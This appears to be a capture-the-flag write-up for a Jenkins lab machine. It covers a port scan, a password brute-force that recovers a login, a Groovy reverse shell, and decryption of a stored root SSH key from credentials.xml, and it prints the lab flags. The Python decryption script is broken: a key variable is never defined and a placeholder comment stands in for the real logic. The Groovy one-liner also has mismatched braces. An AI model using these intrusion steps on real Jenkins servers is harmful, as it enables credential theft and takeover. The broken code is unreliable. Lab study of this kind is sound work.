Builder
Nmap scans
nmap 10.10.11.10
Starting Nmap 7.93 ( https://nmap.org ) at 2025-10-13 17:45 EDT
Nmap scan report for 10.10.11.10
Host is up (0.037s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
Foothold
- Manually parsing the website
- Running
Jenkins 2.441 - should have a user
jennifer - credentials/store contains the
rootssh key apparently
Trying a password attack using Intruder on jennifer
- used xato-100million-10000 password list
jennifer:princess
Getting a shell and flag
- run the groovy script for a reverse shell on our nc listener
- we get a reverse shell as the user
jenkins /var/jenkins_directory contains the user.txt flag -67661da816315fa3ccdb3a9e68631e07
PrivEsc
- common jenkins credentials storage sites:
- the
credentials.xmlfile contains a secret key.- seems to be the ssh private key for root which we saw in the jenkins app.

-
We will try to create the id_rsa from the private key that we see:
- the private key looks like
AQAAABAAAAowLrfCrZx9baW echo "AQAAABAAAAowLrfCrZx9baW<SNIP>" | fold -w 64 > key_body.txtecho "-----BEGIN RSA PRIVATE KEY-----" > id_rsacat key_body.txt >> id_rsaecho "-----END RSA PRIVATE KEY-----" >> id_rsa- make sure to add a new-line at the end
chmod 600 id_rsassh -i id_rsa root@10.10.11.10- this fails with an
invalid key or libcryptoerror
- the private key looks like
-
going through the files again
- it also contains a secret.key -
bc6870aa3d0476290e43823cae66812773cc5364caa990c8157074b4c020fb5b - there is a
secretfolder withHudson.util.Secretfile and amaster.key - on more RND, it was discovered that the stored creds in
credentials.xmleither contain---BEGIN RSAif not encrypted or start with{AQAAA...}if encrypted. - In our case, they are encrypted.
- To decrypt, we can do:
- If we have access to the script console:
println(hudson.util.Secret.decrypt("{AQAAABAAAAowLrfCrZx9baW"})) -
this will print out the decrypted key which we can use after adding the newline and chmod.
-
Copy files to KALI
-
use
jenkins-decrypt -
Manually
Install dependencies - pip3 install pycryptodome - create script
#!/usr/bin/env python3 from Crypto.Cipher import AES import base64 import hashlib def decrypt_jenkins_secret(master_key, hudson_secret, encrypted_text): # Remove {AQAAAB...} wrapper encrypted_text = encrypted_text.strip('{}') # Decode base64 encrypted_bytes = base64.b64decode(encrypted_text) # Jenkins uses first 16 bytes as IV magic = encrypted_bytes[:2] iv = encrypted_bytes[2:18] encrypted_data = encrypted_bytes[18:] # Derive key from master.key and hudson.util.Secret # [Complex crypto - use existing tools] cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = cipher.decrypt(encrypted_data) return decrypted # Usage master_key = open('master.key', 'rb').read() hudson_secret = open('hudson.util.Secret', 'rb').read() encrypted = "{AQAAABAAAAAwYour_encrypted_data}" print(decrypt_jenkins_secret(master_key, hudson_secret, encrypted)) -
Use script -
python3 jenkins_decrypt.py -
ssh -i id_rsa root@10.10.11.10- get root flag -
1313c0c2fe67152e80d353b6e1142f2a
- get root flag -